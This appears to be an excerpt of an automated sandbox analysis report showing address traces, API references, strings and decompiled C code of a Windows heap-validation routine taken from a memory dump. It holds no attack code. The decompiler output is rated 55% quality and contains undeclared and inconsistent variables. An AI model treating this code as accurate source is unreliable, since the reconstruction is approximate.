0x6b604ea6
0x6b604ea6
0x00000000
0x6b604ea6
0x6b604e03
0x6b604e08
0x6b604f88
0x6b604f92
0x6b604f99
0x6b604f9c
0x6b604fe0
0x6b604fe4
0x6b604fee
0x6b604ff4
0x6b604ff4
0x6b604ff4
0x00000000
0x6b604fe4
0x6b604f9e
0x6b604fa4
0x6b604fa8
0x6b604fc7
0x6b604fcc
0x6b604faa
0x6b604fbf
0x6b604fc4
0x6b604fd2
0x6b604fd5
0x6b604fd6
0x6b604f34
0x6b604f34
0x00000000
0x6b604f39
0x6b604e0e
0x6b604e14
0x6b604e1b
0x6b604e25
0x6b604e2b
0x6b604e2b
0x6b604e33
0x6b604e38
0x6b604e8a
0x6b604e8a
0x00000000
0x6b604e3a
0x6b604e3e
0x6b604e43
0x6b604e47
0x6b604e53
0x6b604e58
0x6b604e5a
0x6b604e5c
0x6b604e61
0x6b604e61
0x6b604e5a
0x6b604e6e
0x6b604f41
0x6b604f47
0x6b604f4b
0x6b604f6a
0x6b604f6f
0x6b604f4d
0x6b604f62
0x6b604f67
0x6b604f7f
0x6b604f80
0x6b604f81
0x00000000
0x6b604e74
0x6b604e78
0x6b604e82
0x6b604e88
0x6b604e88
0x00000000
0x6b604e78
0x6b604e6e
0x6b604e38
0x6b604df3
0x6b604bfe
0x6b604c01
0x6b604c04
0x6b604c07
0x6b604c09
0x6b604c0c
0x6b604c0e
0x6b604c0e
0x6b604c11
0x6b604c11
0x6b604c0c
0x6b604c14
0x6b604c17
0x6b604dae
0x6b604db2
0x6b604db7
0x6b604dba
0x6b604dbd
0x6b604ef1
0x6b604ef7
0x6b604efb
0x6b604f1a
0x6b604f1f
0x6b604efd
0x6b604f12
0x6b604f17
0x6b604f2b
0x6b604f2b
0x6b604f2d
0x6b604f2e
0x6b604f2f
0x00000000
0x6b604f2f
0x00000000
0x6b604c1d
0x6b604c1d
0x6b604c20
0x6b604c23
0x6b604c26
0x6b604c29
0x6b604c2c
0x6b604c2e
0x6b604d91
0x6b604d91
0x6b604d92
0x6b604d97
0x6b604d9e
0x00000000
0x6b604d9e
0x6b604c34
0x6b604c37
0x6b604c39
0x6b604c3c
0x00000000
0x00000000
0x6b604c45
0x6b604c48
0x6b604c4e
0x6b604c50
0x6b604c78
0x6b604c78
0x6b604c7b
0x6b604c7d
0x6b604c80
0x6b604c84
0x6b604cad
0x6b604cad
0x6b604cb0
0x6b604cb8
0x6b604cbb
0x6b604cbe
0x6b604cc1
0x6b604cc7
0x6b604cdc
0x6b604cc9
0x6b604cd2
0x6b604cd4
0x6b604cd4
0x6b604cde
0x6b604ce0
0x6b604d13
0x6b604d13
0x6b604d16
0x6b604d18
0x6b604d29
0x6b604d2a
0x6b604d2c
0x6b604d34
0x6b604d1a
0x6b604d1a
0x6b604d1a
0x6b604d1d
0x6b604d1f
0x6b604d22
0x6b604d24
0x6b604d24
0x6b604d3c
0x6b604d3f
0x6b604d45
0x6b604d47
0x6b604d6c
0x6b604d6c
0x6b604d70
0x6b604d7e
0x6b604d84
0x6b604d84
0x00000000
0x6b604d49
0x6b604d49
0x6b604d56
0x6b604d56
0x6b604d59
0x00000000
0x00000000
0x6b604d4e
0x6b604d50
0x6b604d52
0x6b604d8e
0x6b604d5d
0x6b604d5f
0x6b604d67
0x00000000
0x6b604d67
0x6b604d54
0x6b604d54
0x6b604d5b
0x00000000
0x6b604d5b
0x6b604ce2
0x6b604ce2
0x6b604ce5
0x6b604ce5
0x6b604ce7
0x6b604cfb
0x6b604ce9
0x6b604ce9
0x6b604cec
0x6b604cef
0x6b604cf1
0x6b604cf3
0x6b604cf3
0x6b604cf3
0x6b604cf6
0x6b604cf6
0x6b604d02
0x6b604d05
0x00000000
0x00000000
0x6b604d07
0x6b604d0f
0x6b604d11
0x00000000
0x00000000
0x00000000
0x6b604d11
0x00000000
0x6b604ce5
0x6b604ce0
0x6b604c8a
0x6b604c8f
0x6b604c91
0x00000000
0x00000000
0x6b604c9d
0x00000000
0x6b604c9d
0x6b604c52
0x6b604c5f
0x6b604c5f
0x6b604c62
0x00000000
0x00000000
0x6b604c57
0x6b604c59
0x6b604c5b
0x6b604caa
0x6b604c66
0x6b604c68
0x6b604c70
0x6b604c75
0x00000000
0x6b604c75
0x6b604c5d
0x6b604c5d
0x6b604c64
0x00000000
0x6b604c64
0x6b604c17
0x6b604b75
0x6b604bc4
0x6b604bc8
0x00000000
0x00000000
0x6b604bd9
0x00000000
0x00000000
0x00000000
0x6b604b77
0x6b604b7a
0x6b604b8c
0x6b604b7c
0x6b604b7e
0x6b604b83
0x6b604b86
0x6b604b86
0x6b604b90
0x6b604b93
0x00000000
0x00000000
0x6b604b95
0x6b604bab
0x6b604bb0
0x00000000
0x00000000
0x6b604bb2
0x6b604bb9
0x00000000
0x00000000
0x6b604bbb
0x6b604bbe
0x6b604bc1
0x6b604bc1
0x00000000
0x6b604bc1
0x6b604b97
0x6b604ba4
0x00000000
0x00000000
0x6b604ba6
0x00000000
0x6b604ba6
0x6b604ea9
0x6b604ea9
0x6b604eb2
0x00000000

APIs

RtlCompareMemoryUlong.1105(-00000008,?,FEEEFEEE), ref: 6B604DB2
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6B604EE6
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,FEEEFEEE), ref: 6B604F12
DbgPrint.1105(HEAP: ,-00000008,?,FEEEFEEE), ref: 6B604F1F
DbgPrint.1105(Heap block at %p is not last block in segment (%p),-00000018,?), ref: 6B604F34
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B604F62
DbgPrint.1105(HEAP: ), ref: 6B604F6F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B604FBF
DbgPrint.1105(HEAP: ), ref: 6B604FCC
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B605022
DbgPrint.1105(HEAP: ), ref: 6B60502F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B605066
DbgPrint.1105(HEAP: ), ref: 6B605073
DbgPrint.1105(Heap entry %p has incorrect PreviousSize field (%04x instead of %04x),-00000018,?,?), ref: 6B605091
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6B6050BB
DbgPrint.1105(Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x),?,00000000,?,-00000008,?,?), ref: 6B6050CB
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6B6050FF
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6B60510C

Strings

Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 6B6050C6
HEAP[%wZ]: , xrefs: 6B604EE1, 6B604F0D, 6B604F5D, 6B604FBA, 6B60501D, 6B605061, 6B6050FA
Free Heap block %p modified at %p after it was freed, xrefs: 6B604F2F
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 6B60508C
HEAP: , xrefs: 6B604F1A, 6B604F6A, 6B604FC7, 6B60502A, 6B60506E, 6B6050B6, 6B605107
Heap block at %p is not last block in segment (%p), xrefs: 6B604FD6
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 6B605119
Heap block at %p has incorrect segment offset (%x), xrefs: 6B60503B
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 6B604F81

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemoryUlong
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 2560481200-3591852110
Opcode ID: 1689cb963a5a5e17f9e22af53d001e5c01a0742ba1443086c84fa2879fdd5e9e
Instruction ID: 5a5bfbc52dd023e33bbf5b664d66511acd9a5242825b3a497ea6342219abe8fa
Opcode Fuzzy Hash: 1689cb963a5a5e17f9e22af53d001e5c01a0742ba1443086c84fa2879fdd5e9e
Instruction Fuzzy Hash: 4112F2B0600642DFE729CF2AC591BBAB7F1FF55704F108499E4968B681DB7DE980CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B604496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6B604496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6B6049A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6b636378 = _t267;
						asm("int3");
						 *0x6b636378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6B57174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6B54B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6B54B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6b636350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6B589660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6B57174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6B54B150();
										} else {
											E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6B54B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6B54B150();
									} else {
										E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6B54B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6B54B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6B604AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6B5FFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6B5F23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6b6044a1
0x6b6044a3
0x6b6044a7
0x6b6044ac
0x6b6044af
0x6b6044b2
0x6b6044b9
0x6b6044bc
0x6b6047f2
0x6b6047f2
0x6b6047f8
0x6b6047fc
0x6b6047fe
0x6b604804
0x6b604805
0x6b604805
0x6b60480c
0x6b604810
0x6b604812
0x6b604812
0x6b604812
0x6b604822
0x6b604822
0x6b604827
0x6b604827
0x00000000
0x6b604827
0x6b6044c4
0x6b6044d3
0x6b6044d9
0x6b6044dc
0x6b6044de
0x6b6044e0
0x6b604560
0x6b604520
0x6b604522
0x6b604525
0x6b604528
0x6b60452b
0x6b60452e
0x6b604530
0x6b604697
0x6b60469d
0x6b6046a1
0x6b6046c0
0x6b6046c5
0x6b6046a3
0x6b6046b8
0x6b6046bd
0x6b6046cb
0x6b6046d4
0x6b604677
0x6b604677
0x6b604679
0x6b60467c
0x6b60468a
0x6b604690
0x6b604690
0x6b6047f1
0x6b6047f1
0x6b6047f1
0x00000000
0x6b6047f1
0x6b604536
0x6b604539
0x6b60453c
0x6b604636
0x6b60463c
0x6b604640
0x6b60465f
0x6b604664
0x6b604642
0x6b604657
0x6b60465c
0x6b604670
0x00000000
0x6b604542
0x6b604542
0x6b604546
0x6b604548
0x6b60454b
0x6b604555
0x6b60455b
0x6b60455b
0x6b60455b
0x6b60455d
0x6b60455d
0x6b60455d
0x00000000
0x6b60455d
0x6b60453c
0x6b604579
0x6b60457c
0x6b604587
0x6b604589
0x6b604591
0x6b604592
0x6b604597
0x6b604598
0x6b6045a1
0x6b6045ab
0x6b6045ab
0x6b6045a1
0x6b6045ae
0x6b6045b4
0x6b6045b9
0x6b6045bd
0x6b604759
0x6b604759
0x6b60475f
0x6b604761
0x6b604763
0x6b604765
0x6b604768
0x6b60476b
0x6b60476d
0x6b60479c
0x6b60479c
0x6b60479f
0x6b6047a2
0x6b6047a4
0x6b604830
0x6b604833
0x6b604879
0x6b60487d
0x6b6048f1
0x6b6048f3
0x6b6048f3
0x00000000
0x6b6048f3
0x6b60487f
0x6b604885
0x6b604887
0x6b6048a8
0x6b6048a8
0x6b6048ae
0x6b6048b0
0x6b6048dc
0x6b6048dc
0x6b6048dc
0x6b6048dc
0x6b6048ec
0x00000000
0x6b6048ec
0x6b6048b2
0x6b6048bc
0x6b6048be
0x6b6048c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6b6048c3
0x6b6048c3
0x6b6048c6
0x6b6048c9
0x6b6048cc
0x6b6048d1
0x6b6048d4
0x00000000
0x00000000
0x6b6048d6
0x6b6048d7
0x6b6048da
0x00000000
0x00000000
0x00000000
0x6b6048da
0x6b60494f
0x6b604955
0x6b604959
0x6b604978
0x6b60497d
0x6b60495b
0x6b604970
0x6b604975
0x6b604986
0x6b604987
0x6b60498d
0x6b604990
0x6b604997
0x6b6047ef
0x6b6047ef
0x6b6047ef
0x00000000
0x6b6047ef
0x6b604890
0x6b604890
0x6b604891
0x6b604891
0x6b604894
0x6b604897
0x6b60489d
0x6b6048a0
0x00000000
0x00000000
0x6b6048a2
0x6b6048a3
0x6b6048a6
0x00000000
0x00000000
0x00000000
0x6b6048a6
0x6b6048fb
0x6b604901
0x6b604905
0x6b604924
0x6b604929
0x6b604907
0x6b60491c
0x6b604921
0x6b60492f
0x6b604935
0x6b604936
0x6b604939
0x6b604942
0x00000000
0x6b604947
0x6b604835
0x6b60483b
0x6b60483f
0x6b60485e
0x6b604863
0x6b604841
0x6b604856
0x6b60485b
0x6b604869
0x6b60486c
0x6b60486f
0x6b6047e7
0x6b6047e7
0x00000000
0x6b6047ec
0x6b6047aa
0x6b6047b0
0x6b6047b4
0x6b6047d3
0x6b6047d8
0x6b6047b6
0x6b6047cb
0x6b6047d0
0x6b6047de
0x6b6047df
0x6b6047e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6b60476f
0x6b60476f
0x6b604778
0x6b604785
0x6b604787
0x6b60478c
0x6b60478e
0x00000000
0x00000000
0x6b604790
0x6b604792
0x6b604794
0x00000000
0x00000000
0x6b604796
0x6b604799
0x00000000
0x6b604799
0x00000000
0x6b6045c3
0x6b6045c3
0x6b6045c7
0x6b6045c7
0x6b6045ca
0x6b6045cf
0x6b6045d3
0x6b6045df
0x6b6045e4
0x6b6045e6
0x6b6045e8
0x6b6045ed
0x6b6045ed
0x6b6045f2
0x6b6045f2
0x6b6045f7
0x6b6045fc
0x6b604602
0x6b604606
0x6b604609
0x6b60460f
0x6b6046de
0x6b6046e3
0x6b6046e5
0x6b6046ec
0x6b6046ee
0x6b6046f6
0x6b6046f6
0x6b6046f6
0x6b6046f6
0x6b6046ec
0x6b604615
0x6b604615
0x6b60461d
0x6b60462e
0x6b60462e
0x6b60461d
0x6b60460f
0x6b604609
0x6b6046fd
0x00000000
0x00000000
0x6b604710
0x6b60471a
0x6b604720
0x6b604720
0x6b604722
0x6b60472c
0x00000000
0x6b60472e
0x6b60472e
0x00000000
0x6b60472e
0x6b60472c
0x6b604738
0x6b60473c
0x6b60474b
0x6b604751
0x6b604751
0x00000000
0x6b60473c
0x6b6048f4
0x6b6048f4
0x00000000
0x6b6048f4

APIs

Part of subcall function 6B6049A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6B6044B7,?), ref: 6B6049DF
Part of subcall function 6B6049A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6B6044B7,?), ref: 6B6049FE
Part of subcall function 6B6049A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6B604A42
Part of subcall function 6B6049A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6B604A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6B60459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B604657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B604664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B604670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B6046B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B6046C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20), ref: 6B6046D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B6047CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B6047D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20), ref: 6B6047E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B604856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B604863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B60491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B604929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6B604942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C), ref: 6B604970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20,0000001C,6B59F07A), ref: 6B60497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6B604997

Strings

HEAP[%wZ]: , xrefs: 6B604652, 6B6046B3, 6B6047C6, 6B604851, 6B604917, 6B60496B
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6B60493D
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6B6047E2
HEAP: , xrefs: 6B60465F, 6B6046C0, 6B6047D3, 6B60485E, 6B604924, 6B604978
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6B604992
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6B6046CF
Non-Dedicated free list element %p is out of order, xrefs: 6B60466B
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6B60486F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: 23257ced11e25840e9549355d874f3b01a93767944de05453141f822c46e22c2
